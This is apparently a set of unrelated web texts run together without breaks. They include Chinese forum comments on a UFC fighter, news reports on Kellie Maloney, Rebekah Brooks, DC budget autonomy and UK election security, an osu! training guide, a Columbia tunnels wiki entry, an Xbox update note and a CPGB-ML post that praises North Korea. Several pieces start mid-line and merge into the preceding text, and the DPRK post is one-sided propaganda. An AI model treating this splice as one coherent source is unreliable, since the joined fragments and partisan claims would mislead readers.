So awesome!! Everybody pay attention to the 30 second mark, Brother Quan was kicked in the JB but still endures it to KO the foreign devil, [he] really deserves admiration.
cxv35657:
Representing all Chinese around the world!!!
Who says Chinese people and Chinese Kung Fu don’t dare to go to the UFC?
将毛思想发扬光大:
[The UFC] is coming to earn Chinese people’s money.
醉水流歌:
After watching this, why does CCTV-5’s “Wushu Masters” feel so much like a bunch of old women fighting?
zlspenis:
I feel that Zhang lost the last match because he wasn’t ruthless enough, and was badly battered. This match I felt was clean and efficient, with enough ruthlessness, good stuff. In competitions, whether you win or lose isn’t the most important. The most important is to find one’s weaknesses and gradually improve.
我不是东北人:
Let me share what I think about this video: I’m confused, why are there so many people saying they are proud and stuff? I have two words: so shameful. Why do I say that? What’s so great about holding someone’s neck? Is that any different from stabbing someone in the back? Such a low way of winning, even I feel embarrassed. Chinese people have lost all face because of him. If I meet him on the street I would slap him! Some people say this is how the rules are, but having such rules is not glorious, why not just take a weapon and stab [opponents]. My countrymen, so pathetic, so shameful.
xzd52088:
Stop talking if you don’t understand. This is America’s UFC, it is not like China’s Sanda that resemble children playing house! These people are using real submission to subdue opponents. Fighting UFC is a lot more dangerous. This is not like the Sanda you watch on TV!
Zhang Tiequan’s previous match losing to his opponent: Comment on Youku:
不爱讲话:
Cupware, someone who is very niubi in China goes over and immediately is badly battered.
davidyoucool:
This is what an international competition with real KOs looks like. China’s level [as fighters] cannot be measured by the Sanda vs. boxing, Sanda vs. Thai Boxing, Karate, etc. [competitions held] in China. The domestic rules and regulations of those competition often favor Sanda. Therefore our fellow countrymen should see clearly their true strength, and not blindingly inflate oneself with pride.
墙铁:
Good job, simply being brave enough to go out and participate in this kind of competition deserves respect, much better than those domestic self-gratified “Kung Fu Masters” participating in “Wushu Masters”. Chinese Wushu should stop being a frog in a well. Look outside, [you] will know Chinese Wushu’s true ability once [you] go abroad.
1017674932:
I have to say the UFC is too violent, a little too much for me to stomach, but domestic competitions are too spineless. Those foreign devils are indeed strong, but I feel Zhang Tiequan is still a little too weak. Compared to those foreign devils, he is still too civilized. Competitions like the UFC was always about catering to America’s violent culture. Being under a different cultural environment it will be difficult for the Chinese to produce that kind of powerful UFC fighter. Zhang Tiequan is already very strong, already over the age of 30, and his endurance already passed his prime, [so] even if he loses there is no shame, at least he is much better than those coward monks in the Shaolin Temple.
小白的哥哥:
At least he dares to go, how many Chinese dare to go?
cangaroo002:Before a certain point in development, babies are incapable — neurologically, it seems — of seeing themselves in a mirror. Rather, they see some other baby crawling around, taking up their space, staring back at them from a disturbingly familiar room. Then, quite suddenly and reliably, the brain acquires the ability to empathize and to see the world from another’s perspective — we can understand that a reflection is a non-entity, and over time this sort of understanding continues; we begin to understand that other people exist as we do, and that they have their own sets of feelings and priorities.
It all begins with the mirror, however: as we come to understand ourselves as a part of the material world, we naturally draw equivalencies to other, similarly material people. It’s the beginning of true understanding that we are not the only personality in the universe.
Yet a mirror shows us only the exterior of our bodies; how fundamentally might we change people’s worldview by letting them look beneath the skin to see the full reality of their bodies? Later this month, the Computer Human Interaction conference will host an art project that hopes to do just that. Previously on display at the Museum of Arts and Crafts, this remarkable, multi-disciplinary effort is both educational and artistic. It combines scientific data and methodologies with an artist’s ambitions of consciousness-raising. View a video of the technology below.
The only problem with the project is in the barrier to entry; from start to finish, a participant needs to cordon off more than three hours to see their insides splayed out on screen. That sounds like a fine investment to people like me, but precludes the sort of drop-in users that this technology seems to demand. If you want to use this magic mirror you’ll need a PET scan, an X-Ray, and an MRI scan to completely detail all your internal bits and bobs. That means that you have to take an injection of radionuclide, get blasted by X-rays, and then sit inside a giant super-magnet. Though this should all be safe (the by far is the X-ray CT scan) it will scare a lot of people away from the project.
Those who do push through, however, will have all this data analyzed and compiled into a multi-flavored matrix that can be rendered out in real time. Microsoft’s Kinect camera then steps in to do what it does best, capturing the user’s motions and communicating those motions to an outside 3D model. Thus, users can see their bodies animated in real-time, from the inside out.
This sort of technology is mostly useful to the public, but a version of this idea could end up being a powerful tool to help doctors communicate with patients. Augmented reality is gaining traction in medicine for diagnosis, education, or even practical uses like assisting in surgery. This is just a glimpse of the sorts of creative applications we’re bound to see over the next several years.Media playback is not supported on this device Kellie Maloney thanks boxing grassroots support
Kellie Maloney is returning to boxing as a promoter, less than a year after announcing she was undergoing gender reassignment.
As Frank, Maloney was one of British boxing's most high-profile promoters and led Lennox Lewis to the world heavyweight crown.
And after unveiling two new charges in London on Thursday, Maloney thanked the boxing fraternity for its support.
"It's like starting all over but with 30 years of knowledge," Maloney said.
Speaking to BBC Sport, she added: "[Being Kellie] was something that was inside of me, something I had no control over.
"Some people in the same situation cut their lives short, because they can't handle it. I decided, with the support of my family, I would find the real me.
Gary Cornish on Kellie Maloney "When I worked with Frank, he wanted to make me the first British heavyweight champion from Scotland. She's obviously got the hunger back and underneath it all she's still got the brain and all that knowledge. As long as she progresses my career, I'm happy. There will be a limelight on her for a while but I don't mind being in the background."
"And part of the real me is that I love boxing, so I wanted to give it another shot. It feels like I've been born again, like I've got a second chance in life."
The 61-year-old Maloney, who announced she was no longer Frank last August, said she was persuaded to return to the sport by Telford amateur Tony Jones, who knocked on her door and asked her to manage him.
Maloney will also co-promote Scottish heavyweight Gary Cornish, who is managed by Glasgow veteran Tommy Gilmour and worked with Maloney before her gender reassignment.
Jones will make his pro debut on a show in Glasgow on 23 May - joint promoted by Maloney and Gilmour - where Cornish will look to extend his unbeaten record in the paid ranks to 21 fights.
"The support from the lower level of boxing has been fantastic," said Maloney. "I was surprised, if I'm being honest. It was overwhelming.
Maloney's last high-profile fighter was former Commonwealth heavyweight champion David Price
"But the top of the hierarchy has been less supportive. I don't know if they're worried or what. Nothing has been said but you can just tell by the way they look at you or when you speak to them on the telephone.
"I've seen interviews where you could tell certain people wanted to make a comment but couldn't. You get very good at reading people's facial expressions. It does make me laugh, it's actually quite funny."
Maloney said that as well as being surprised at the level of support she has received, she is also "a better person and a nicer person" than Frank was.
"I'm a lot more understanding, have a lot more acceptance of people and situations," said Maloney, who only completed her sex change last month. "I'm not going to let my mouth go into gear before my brain.
"But I've never been frightened to take on the establishment and I'm not frightened to do it again. And I'd like to bring a bit of fun back to boxing.
"My goal is to produce a champion in the next 18 months and to enjoy boxing this time, instead of letting boxing wear me out and cause me health problems, like it did last time.
"And I'm hoping I can make people realise that this [transgenderism] is just a medical problem like any other medical problem.
"I'm hoping to show that we [those in the transgender community] are human beings like anyone else, not freaks, so please just show us respect and treat us the same way as you treat everyone else."opinion
The birth of a newborn baby is often heralded with fanfare and the proud mother is awarded various honorary titles depending on the culture.
While proud father becomes the subject of envy from the impotent men and barren women, the nursing mother is elevated to a status above the ordinary woman. Hence the desire to give birth to a child, or several children, is the future dream of virtually all girls when they become of age, oblivious of the fact that every live birth increases the burden of human population.
As we edge closer to marking the 50th jubilee celebration of Uganda's political independence, it is worth noting the significant successes and failures in nation building. With the fertility rate of 6.9% and population growth rate of 3.2%, Uganda ranks among the fastest growing populations in the world. An estimated 6.9 million citizens were alive when the British colonialists handed over the reins of political power to the natives of Uganda in 1962, but approximately 34 million Ugandans will celebrate the independence anniversary on October 9, 2012.
This rapid population growth which is not matched with expansion of the economy, gainful employment, improved social welfare and health services is a perfect recipe for disaster. This raises a fundamental question as to what should be done to reverse the trend where the potential for human reproduction seems to surpass the capacity for economic productivity.
Family planning has in the past been fronted as a strategy for checking the galloping population growth with little success. Reasons for the apparent failure of the existing family planning strategies are various but tend to hinge on cultural practices and traditional beliefs. Cultural practices, including polygamy and early marriages, have largely remained rooted as accepted ways of life for the Ugandan communities.
It is still believed by many rural based Ugandans that large families are a source of cheap labour and prestige in society. Indeed, working children add to family income, and they are a kind of pension plan, looked to for support during old age. This practice, which is perceived to boost agricultural production, encourages men to marry several wives, consequently producing large numbers of children whose welfare cannot be adequately catered for.
High fertility is also a consequence of major gender inequalities in reproductive costs, benefits and decision-making power within the household. It is women who undertake most of the labour involved in child care. The marriage contract entitles husbands not only to children borne to their wives but also to their labour. Once bride price has been paid off, child bearing becomes relatively cost-free for the father.
Recurring costs may be less directly perceived, particularly if the husband is a non-resident member of the household(s), a feature frequently observed in polygamous marriages. Men, therefore, have both the material incentives, as well as the decision-making power, to act as reproductive free-riders. Consequently, men are unwilling to let their wives access family planning services.
The cultural values, norms and beliefs that make males superior to females bequeathe more reproductive rights to men than women. Consequently, men are the primary decision makers about sexual activity, fertility and contraceptive use. However, receptivity of family planning among men is significantly lower because of beliefs and biases concerning it. For example, the perceived side effects of family planning tend to discourage its usage among the rural and traditional communities, i.e., inability to conceive, birth defects and deformities.
Besides, the non reversible family planning methods, including sterilisation, that are available for men are not only unpopular but are regarded as cultural insults to manhood. Even worse, Ugandan cultures deny women access to independent resources of their own and must rely on family-based entitlements for their survival and security. In addition, women's support to high rates of fertility relates to the more direct benefits that they derive from their children.
Children help in lessening women's workload in both domestic and farming tasks. They are also likely to be an important source of support in their old age, a factor that is often important given the wide gap between spousal ages, particularly in polygamous marriages. Such beliefs and practices are counterproductive for advancing the cause of family planning.
As a result, despite the availability of various family planning methods, only 18.5% use modern contraception methods. In the bid to have a healthier and productive population therefore, there is need to revisit the expenditure patterns on family planning and to commit more funds towards education and sensitisation drives.
The author is Executive Director, African Association of Gender Economists (AAGE).Rebekah Brooks has told the Old Bailey that she regrets the Sun's "cruel and harsh" attack on Labour MP Clare Short over the Page 3 row.
Brooks apologised at the Old Bailey on Thursday for the "personal" targeting of Short in January 2004, when she was the paper's editor and the tabloid branded her a "killjoy" and "fat and jealous" following the Labour MP's criticism of its Page 3 girls.
In the witness box for a fifth day in the phone-hacking trial, Brooks said: "There's a huge debate about Page 3 – it's constant, it's probably still going on – from time to time people would launch a campaign.
"This was one where again the reaction of the paper – I'm the editor, my responsibility – was cruel and harsh. We did it in the heat of the moment: keep your hands off Page 3. It was too personal."
The Page 3 row was one of several "mistakes" Brooks said she had made during her editorship.
Citing four of those, she described a headline in 2003 about boxer Frank Bruno – "Bonkers Bruno Locked Up" as a "terrible mistake".
She had taken a copy of the front page home and her then husband Ross Kemp said: "What are you doing?" Brooks said she had had a "complete blind spot".
She immediately rang in to change the headline, apologised the next day and took a course with a mental health charity.
"The speed of decisions at the Sun often cause lapses of judgment," Brooks told the jury. "I personally made lots of mistakes during my 10-12 years as deputy editor or editor of a newspaper."
She cited the celebratory headline "Ship, Ship Hooray," on the day after Harold Shipman, the serial killer, died as "bad taste". She had sanctioned it after a press release had come in from David Blunkett. "The home secretary put out statement that they had opened a bottle of champagne."
Another of her regrets was over the Sun's attack on Haringey children's services head Sharon Shoesmith following the death of Baby P.
Brooks admitted that posting a photographer outside Shoesmith's home was "cruel, harsh and over the top".
Brooks denies four charges linked to the phone-hacking scandal.
The trial continues.Darrow Montgomery
A Republican-dominated U.S. House of Representatives voted to repeal D.C. budget autonomy and block the District from enforcing other local laws on Thursday, 239 to 185, and with nine abstentions—a roll call largely along party lines.
The approval of the federal appropriations bill follows weeks of local handwringing. Republicans who supported language repealing a 2013 referendum where more than 80 percent of District residents backed fiscal independence from Congress have said it subverts the Constitution. D.C. denizens, including Mayor Muriel Bowser and members of the D.C. Council, retorted that budget autonomy is the law of the land.
The Financial Services and General Government Appropriations Act now goes to the Senate. On top of repealing local budget autonomy, the House-sanctioned version maintains a ban on regulating marijuana and restrictions that make it harder for low-income women to access abortions. But unlike last year, the 2017 House bill also blocks the District from enforcing a municipal law introduced by At-Large Councilmember David Grosso that protects employees from discrimination on the basis of their reproductive-health decisions. (In 2015, the Senate did not move forward this rider.)
In a statement, D.C. Del. Eleanor Holmes Norton said she was "disappointed" that congressional Republicans had put "several harmful anti-home-rule riders" into the current legislation. "We will face problems removing them in the Senate, but the hypocrisy of Members who swear by the principal of local control over local affairs is not as widespread there. I am already working with our Senate allies and the Obama Administration to remove the four anti-home-rule riders from any final spending bill that becomes law."
The provisional repeal of D.C.'s Reproductive Health Non-Discrimination Act drew particular scorn from advocates for women's rights. In a statement, Grosso said it was time for Congress to "stop meddling in the local affairs of the District of Columbia" and focus instead on serious national issues like gun control. New York Rep. Nita Lowey criticized Republicans' efforts to overturn RHNDA, calling them "especially harmful and destructive."
NARAL Pro-Choice America President Ilyse Hogue called out Republicans' "lip service to supporting women."
"Their actions speak louder than their rhetoric, and with today's vote, they continued their relentless campaign to rob women of our reproductive freedom and enshrine discrimination into our laws," she said in a statement.
The White House Office of Management and Budget has recommended that President Barack Obama veto the appropriations bill if it were to appear before him in its present form. The vote comes as D.C. leaders push for statehood, an item that could appear on the 2016 Democratic Party platform.Higu's jump training. Path to the pros' world. [148 beatmap]
Rules:
Mods:
You musn't use: Easy Half Time Relax Auto Auto Pilot
You must use: The mod stated near the beatmap.(If it's stated.) You musn't use:You must use:
you passed all the beatmaps on your current level. you got at least 93,01% accuracy (Rank A) or (Rank S) on each beatmap on your current level. Depends on that you missed or not:) You can get to the next level if:
Thread rules:
Official forum rules. Don't make comments, which are offensive and negative towards other people. Read FAQ before asking.
Example:
I completed Level 15, so my skill is on Level 15! I passed all the beatmaps on that level and have at least 93,01% accuracy on them. Now I can go to the next level, Level 16.
Request Levels.
JumpNovice
Bunny
Mazohopper
FrogPrin-ce/cess
Jump Champion
JumperKnight
Mr.Fox
Legendary Jumper
Asian
<< Take it as a joke. Don't be bother by this if you really are an asian. We <3 you guys:)
Congratz you have passed the whole jump training! Now you become of the best players in osu!:) People must have addressed you a lot of names already ^^
FAQ:
#1 Why are there beatmaps, which are not even containing standard jumps?
You have to pass those maps too, because they are containing useful experience for the further levels' maps. #2 Just because people get A rank on the harder maps that doesn't mean they are actually of that level. It is true, but as a player I would pass the harder maps with A rank then go on the further levels. Also if I passed the next level, I would be eager to do previous levels' maps to get an S rank on them. Which means I would be happy about that my skill increased. #3 You can't take playing accuracy into an account!
You are able to use SpunOut and Nofail mod. #4 What criteria did you use when you made the levels?
I made 3 levels at once. Started at the well known 5 star maps with lower difficulties. Viewed the top40 scoreboard what ranks, percents they have. I used some personal experience, but I also asked people about their experience on certain maps if needed, but I am still asking the community for advices to help improving this jump training. #5 Why does this training sound like it is your own jump training?
Take a look at the previous FAQ point and you probably realise that this state is not fully makes sense. #6 What equipment shoul I use? Mouse or Tablet? Use the one that fits your taste. #7 I can't stream that fast as the map goes! What should I do? Read my "How to stream faster in 1 day" topic:) #8 I can't single-tap those epic fast songs on higher levels! What should I do? Try not to single-tap the whole map. Your hands will worn out quite early. Handle those 200+ bpm songs like the whole map were a 100+ bpm stream. You can just swich your fingers while playing, even if that is not a real stream. Also another tip for you is to swich your fingers while you end a slider. You can hold down the slider for more time, so it could go to its end and also you could start the next note without a miss! #9 Why are there that much of level caps between maps in the same level?
A song should be in the previous or the next level? Leave your advice, which song should be put to another level!
< The minimum map number on each level is 4! If you would like to put a song from the current level, to another level and the current level's minimum map number don't reach the 4, then you should state a new map for that level. >
#10 I think you could add more maps!
Link the map and which level you would put that in! #11 I just got download cap. Why don't you upload the levels to somewhere to be easier to download? It was already a pain in the " watermelon " to make this huge topic. Please go easy on me:)
Change log (Updates):
Change log (Updates): April 7:
fixed link in lvl 17 March 23:
fix map number March 22:
1 new song in LVL 19 3 new songs in LVL 17 2 new songs in LVL 15 1 new song in LVL 14 1 new song in LVL 20+ 1 new song in LVL 16 2 new songs in LVL 3 1 new song in LVL 5 1 new song in LVL 16 1 new song in LVL 6 March 21:
fix LVL20-20+ March 20:
fix LVL 3 and 6 1 new song added in LVL 6 1 new song added in LVL 7 1 new song added in LVL 10 1 new song added in LVL 17 FAQ update 2 new song added in LVL 20 Bonus LVL added for above 20 1 new song added in LVL 19 1 new song added in Bonus-LVL 20+ FAQ points got numbers to be easier to refer to them "helperlist added" fixed url in LVL10 March 19:
FAQ update fix LVL 18-19-20 1 new song added in LVL19 thread rules added FAQ update March 18:
fix LVL1-2 poll added request LVLs added fix LVL 19-20 poll update 1 new song added in LVL17 1 new song added in LVL20 fix LVL 18-19
People who helped! + flags:
Finally here is my jump training. First of all, I would like to state that you should be able to pass 5 star beatmaps.Keith Bennett of the CPGB-ML talks to George Galloway, on his Russia Today current affairs program ‘Sputnik’, about the latest developments in North Korea.
They discuss Kim Jong Un (5:13), the death penalty (3:35) and the execution of his ‘uncle’, General Jang Song Thaek (2.09), on charges of corruption and treason (4:32), his friendship with Dennis Rodman (5:58), and US imperialism’s hypocritical condemnation of these events (4:00), which should be viewed as another opportunistic, but integral part of imperialism’s ongoing media, diplomatic, and military aggression against the tiny, but defiant, Democratic People’s Republic of (North) Korea.
Keith refers, in passing to many aspects of contemporary Korean politics, as well as the path that has led them to this point, including Dennis Rodman’s visit to the DPRK (5:58), his – and the wider african-american community’s – friendly attitude towards the North Korean people, the Black Panther Party (7:12) in the USA, the role of SPORT in breaking down artificially erected political barriers (7:25), including the 1966 world cup, and the friendship struck up between the North Korean football team and the people of Middlesborough, in particular (7:55) that persists until this day.
The DPRK, like all other socialist governments and republics, puts tremendous emphasis on providing high levels of social provision, including free education to university level, and universal health care to its people (9:22). These are the reasons that finance capital so despises the government, system and people of the north of Korea.
Find out more – objective information – about the DPRK. Korea is one!
Watch:
DPR Korea – US Nuclear War Threat: http://www.youtube.com/watch?v=A3CLgEkAa-g
Hands off the DPRK! No to US Nuclear Blackmail!: http://www.youtube.com/watch?v=5v59gOKwKOo
DPR Korea Ambassador Q&A: http://www.youtube.com/watch?v=zq_kTrbtQpo
DPRK Embassy: http://www.youtube.com/watch?v=1ZeAd5oFomM
North Korea – Reality check!: http://www.youtube.com/watch?v=KCIoYNYNIj4
Kim Jong Il Memorial: http://www.youtube.com/watch?v=pcCh-r9nG5Q
Jong Il: http://www.youtube.com/watch?v=9b95smc6_aw
Juche: http://www.youtube.com/watch?v=SOwgCPMZ3iI
Cuba and Korea: http://www.youtube.com/watch?v=SrY83sD1d9s
Join the struggle! https://www.youtube.com/watch?v=hwgDekJTVvc
Read:
Statement – US Stoking flames of war in Korea
http://www.cpgb-ml.org/index.php?secName=statements&subName=display&statementId=52
Articles
http://www.cpgb-ml.org/index.php?secName=proletarian&subName=results&search=korea
Each on teach one!
http://www.cpgb-ml.org
http://www.redyouth.org
http://www.lalkar.org
http://www.youtube.com/ProletarianCPGBML
http://en.wikipedia.org/wiki/Communist_Party_of_Great_Britain_(Marxist%E2%80%93Leninist)
subscribe: http://www.cpgb-ml.org/docs/ProlSubs.pdf
Red Youth Education Program: Each one teach one!
https://redyouthuk.wordpress.com/educational-links/
Join the struggle!
http://www.cpgb-ml.org/index.php?secName=join
Donate:
https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=RNTPLUHGTMRP6
AdvertisementsImage copyright Getty Images
The UK faces a "perfect storm" of threats that could put its entire electoral system at risk, the head of the elections watchdog has warned.
Russian meddling on social media and local council cuts were just two of the factors threatening the credibility of the system, Sir John Holmes said.
He told BBC Radio 4's Today programme Britain's electoral laws were a "mess" and needed to be updated.
He will set out the steps he says need to be taken in a speech later.
The Electoral Commission has launched an investigation into allegations of Russian interference in last year's Brexit referendum and the general election.
"It would be naive to assume that what we know happened in the US and France around their elections did not and could not happen here," Sir John told Today.
"And there has been evidence coming from the US inquiry that some of that activity was happening.
"What we have done is asked companies like Twitter, Google and Facebook to tell us what was happening here in the same way they did in the US."
Responding to Sir John's comments, a UK government spokesman said: "We have one of the most robust democratic processes in the world - one that is not vulnerable to international malicious influence.
However, this government is not complacent and we are already undertaking work to strengthen our electoral process and ensure it is fit for the future."
Bigger fines
In the US, both the House and Senate intelligence committees are looking into allegations of Russian interference in the 2016 presidential election - something the Kremlin strongly denies.
Congress has released images of social media posts alleged to be Russian propaganda.
Image copyright Getty Images Image caption Technology companies display alleged examples of Russian-backed posts to US senators
Sir John, a former diplomat who has served in Moscow, said it was "impossible" for the Electoral Commission to "regulate or prevent what Russia is doing".
But he wants new rules requiring political campaigners to identify themselves to give voters "transparency about who is trying to influence them, who is paying for it".
He also wants to see photo IDs introduced at polling booths, following allegations of voter fraud in Tower Hamlets, in east London, and other areas.
Critics say the plan discriminates against people on low incomes who don't have photo IDs.
But Sir John said they could be given free photo ID cards, as was already happening in Northern Ireland, where the new system is up and running.
He ruled out a move to online voting, because of concerns about hacking - but he wants it to be made easier to check online whether you are registered to vote.
He also wants bigger fines for political parties and campaign groups that try to get round spending limits.
'Troll factories'
Image copyright Getty Images Image caption Sir John Holmes is a former diplomat and UN official
The watchdog has repeatedly complained that it lacks the teeth to tackle abuses of the system, with Sir John warning some well resourced parties could see fines as "a cost of doing business" after the Conservatives were fined £70,000 for breaking the rules.
He has also warned that cuts to local authorities could undermine the proper running of elections in the UK.
June's general election had been generally well run, he said, but "returning officers and electoral administrators face reduced resources and a growing number of skilled professionals are leaving local authority elections teams".
Prime Minister Theresa May has accused Russia of "planting fake stories" to "sow discord in the West", although Foreign Secretary Boris Johnson told MPs last month he had not seen any evidence of Russian interference in the Brexit vote or general election.
Researchers at the University of Edinburgh found more than 400 fake Twitter accounts attempting to influence UK politics out of 2,752 accounts suspended by Twitter in the US.
The accounts were believed to have been run from the Kremlin-linked Russian Internet Research Agency (IRA).
The Commons Culture Select Committee is carrying out a separate inquiry into "fake news", and Britain's intelligence and security watchdog is facing calls to investigate whether Russian "troll factories" interfered in UK politics.DETROIT, MI -- A silver car slammed into an abandoned, burned, city-owned building on Linwood several days ago. The crushed auto carcass remained buried beneath the collapsed rubble of the structure Thursday. About 10 a.m., three children were climbing in the wreckage at 8811 Linwood that is blocked off by yellow caution tape intended keep people away from the precarious slouching remains. A red pickup with a City of Detroit logo on the door drove by, the driver glancing at the destruction. City officials say it could take a month before the hazardous mess is cleaned up,
MLive has requested comment from Mayor Mike Duggan's office and is awaiting response. According to the Motor City Muckraker, the driver, after an hour-long rescue by the Detroit Fire Department that began shortly after midnight, survived the crash. The building is listed as "reported |
crime, colombia, united-statesWith the start of DreamHack Masters Malmö just around the corner, we bring you a detailed viewer's guide of the $250,000 event, the first tournament premier after the player break.
The second edition of DreamHack Masters Malmö will run over the span of five days, starting on Wednesday, August 30th and finishing on Sunday, September 3rd. 16 teams will be present in Malmö, Sweden this weekend, with BIG being the only team out of the current top 10 to miss out.
DreamHack Masters returns to Malmö this week
The top two teams, SK and Astralis, will be ready to continue their fight for the throne, while the likes of FaZe, Natus Vincere and Cloud9 debut their new rosters in the Malmö Arena.
Sixteen teams have been split into four GSL-style groups that combine BO1 and BO3 matches, but this time around, the winners match will be BO3, while the elimination match will be a BO1. Another change DreamHack has made is to the coaching rule, which now allows coaches to speak during freeze time and half time.
Below you can find the group draw in full:
For the first day of the event, the tournament will feature a B stream, on which half of the matches will be played (marked with an asterisk). From Thursday onwards, the action will be happening on just the single, main stream. The event will be open to the public only for the playoffs on Saturday and Sunday.
The full schedule is as follows:
Wednesday, August 30th 13:00 SK BOOT-d[S] vs. BO1 13:00 Astralis Renegades* vs. BO1 14:30 Virtus.pro Natus Vincere vs. BO1 14:30 Cloud9 North* vs. BO1 16:00 Immortals fnatic vs. BO1 16:00 Gambit mousesports* vs. BO1 17:30 FaZe NiP vs. BO1 17:30 G2 Envy* vs. BO1 19:00 Group A elimination match BO1 19:00 Group B elimination match* BO1 20:30 Group C elimination match BO1 20:30 Group D elimination match* BO1 Thursday, August 31st 10:00 Group A winners' match BO3 13:00 Group B winners' match BO3 16:00 Group C winners' match BO3 19:00 Group D winners' match BO3 Friday, September 1st 10:00 Group A decider BO3 13:00 Group B decider BO3 16:00 Group C decider BO3 19:00 Group D decider BO3 Saturday, September 2nd 10:00 Quarter-final #1 BO3 13:00 Quarter-final #2 BO3 16:00 Quarter-final #3 BO3 19:00 Quarter-final #4 BO3 Sunday, September 3rd 11:00 Semi-final #1 BO3 14:00 Semi-final #2 BO3 18:00 Grand final BO3
To bring the action, DreamHack have asembled an impressive talent list. Desk hosting will once again be done by Alex "Machine" Richardson, while Sue "Smix" Lee will take the interviewer role. Commentating the action will be Matthew "Sadokist" Trivett and Henry "HenryG" Greer, while Anders Blume will be pairing up with Jason "moses" O’Toole this time around.
Vince Hill and Dustin "dusT" Mouret will be covering the B stream on the first day, with the talent list being completed with four analysts, including Janko "YNk" Paunović and Chad "SPUNJ" Burchill.
The following 14 people will be working as on-air talent for DreamHack Masters Malmö:Loading 2MB of sweet Deorro goodness... Why don't you grab some headphones? :)
SPACEBAR to play / pause. TAP to play on mobile.
What is this?
A "music video" using code. It's an audio-visualization that interacts with Conway's Game of Life.
Conway's Game of Life is zero-player "game" of cells (in this case pixels) that live, reproduce and die based on their neighbors.
Any live cell with 2-3 neighbors lives.
Any live cell with more than 3 neighbors dies (overpopulation).
Any live cell with less than 2 neighbors dies (underpopulation).
Any dead cell with exactly 3 neighbors becomes a live cell (reproduction).
The beat of the music controls the speed of the animation and the frequency bars produce live cells. For the drops in the track you'll observe some specially created lifeforms. :)A map of the Columbia University tunnels
Columbia University has an extensive tunnel system connecting most buildings on campus and acting as conduits for steam, electricity, telecommunications, and other infrastructure. The oldest tunnels are from the mental asylum that existed before the Morningside Campus was built.[1] These tunnels are small and extremely hot, and they connect to Buell/La Maison Française, the one building remaining from the asylum. The steam tunnel system between Hamilton, Kent, Philosophy, and Fayerweather connects to these old tunnels.
Another steam tunnel system connects Mudd, Uris, Dodge Fitness Center, and Havemeyer, and is generally considered the easiest to access. These tunnels contain old rail tracks that were used to transport coal for heating.[2] They also contain the "Signature Room," where one can find many quotes and names left by previous tunnelers. As with all tunnels on campus, these contain many more secrets for students to discover. This tunnel system also used to connect to the first floor of Pupin Hall, but that way was blocked in the 1990s.
Until the Summer of 2003, the first floor of Pupin was virtually untouched from the last days of the Manhattan Project. Notes and daily logs scattered dusty tables. Half-completed experiments sat in stasis, only visible to the few explorers who got in. Since 2003, the first floor has been cleaned out, and is now mostly empty. This floor used to house one of the first cyclotrons until Spring 2008, when the cyclotron was removed and destroyed in order to make room for the infrastructure leading to the Interdisciplinary Science Building.[3]
Another tunnel system connects Havemeyer, Math, Lewisohn, and the Miller Theater. Tunnels also connect Butler, Carman, Lerner, and supposedly Furnald and Hogan. John Jay/Hartley/Wallach can also be reached from this system, but the door is locked, and the tunnels connect to JJ's Place, making exploration difficult. A tunnel between Butler and Low is rumored to exist, but no evidence of such a tunnel has ever been found. Any entrance to this tunnel from Butler is well hidden or heavily locked, and the Low entrance would be next-to-impossible to find given that Campus Security is based on the first floor. There are no tunnels across Broadway to the Barnard campus, although Barnard has its own set of tunnels and sub-basements. There are no tunnels across Amsterdam Avenue to East Campus: however, the subterranean garage deep below the School of International & Public Affairs does have tunnels leading to the dormitories and the Law School.
History [ edit ]
During the 1968 student strike, student staff at WKCR, Columbia's radio station, used the tunnels to tap the university's telephone system. Students also made use of the tunnels to travel between buildings occupied by strikers.
The names of students and alumni who have visited the tunnels appear scrawled throughout the tunnels. Ken Hechtman is one of the most infamous former Columbia tunnelers. In 1986, he led an underground group of tunneling students called AD HOC (Allied Destructive Hackers of Columbia). Hechtman was expelled during his first year at Columbia for stealing Uranium-238 from Pupin Hall, along with many dangerous chemicals from Havemeyer Hall.
The crawlspace runs beneath La Maison Française, which is the campus' French building. The building is the oldest on campus, serving as the warden's house in the Bloomingdale Insane Asylum during the late 19th century.
References [ edit ]
Coordinates:This month’s system update on Xbox One brings you some of the most-requested features by our fans including screenshots and improved tile transparency. We heard great things from members of the Xbox One preview program following their sneak preview and are excited to bring these great new features to everyone on Xbox One today.
Check out the list of features in the March system update that are starting to roll out tonight:
Screenshots – You can now take screenshots on your Xbox One console by simply double-tapping the Xbox button on your controller to capture a screenshot and pressing Y to save the screenshot. You can also say “Xbox, take a screenshot” to take and save a screenshot.
Upload app – You can manage your screenshots in addition to your game clips in the Upload app. To set a screenshot as your background, go to Upload, open the screenshot full screen, press the Menu button, and select Set as background. You can also use Upload to share screenshots to your activity feed, attach them to messages, add screenshots to your showcase, share to Twitter, and post to OneDrive.
Suggested friends – To find new friends, go to Friends and look for people under the Suggested friends heading or select the Suggested friends Or, if you don’t have a ton of friends yet, just check the Friends area of Home.
Sharing your name – Gamertags are still the primary method of identifying yourself on Xbox Live, but sharing your real name helps people recognize you who might not know you by your gamertag. The new name sharing options can be found under Friends > My profile > Name sharing settings.
Party chat enhancements – We added two new icons to party chat to show each participant their own microphone status. The Kinect icon means the Kinect is being used as the mic and the headset icon means the headset mic is being used.
Tile transparency – We’re adding a setting to vary the level of transparency for your background images. To do this, go to Settings > My Xbox > Tile transparency.
Voice search privacy – We added a new setting to share voice search data to allow anonymous collection and analysis of voice data when using Bing on Xbox to search. Go to Settings > Privacy and online safety > Custom > Share voice search data to change the setting.
Report spam – The Messages app has an added option to notify Xbox when you receive spam. To report a message as spam, select it, press A on the controller, select Report, and then choose Spam.
Live TV & OneGuide in Australia – Support for OneGuide is now available to all users in Australia for free-to-air TV listings. Additionally, the OneGuide app will be pre-pinned for users in Australia a few days after the March system update goes live.
Xbox One Digital TV Tuner in Australia – Xbox One owners in Australia can pre-purchase the Xbox Digital TV Tuner at the online Microsoft Store, Availability of the tuner is planned for March 25, 2015.
More system updates with cool new features are coming your way soon, so stay tuned for more details. Keep sending us your feedback!Jenn Hooper holds her daughter Charley, 10, in Bali, Indonesia (Picture: AP Photo/Firdia Lisnawati)
The parents of a disabled girl have opted to permanently stunt her growth and remove her womb in the hopes of improving her life.
Charley Hooper cannot speak, walk, or control her limbs and is almost blind after being left severely brain damaged due to being deprived of enough oxygen at birth and being diagnosed with epilepsy.
The 10-year-old is 4ft 3in tall and currently weighs less than four stone.
She is unable to express herself, with her parents, Jenn and Mark Hooper, having to interpret how she feels or what she wants by the tone of her moans and the muscle spasms on her face.
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(Picture: AP Photo/Firdia Lisnawati)
Mark Hooper carries Charley (Picture: AP Photo/Firdia Lisnawati)
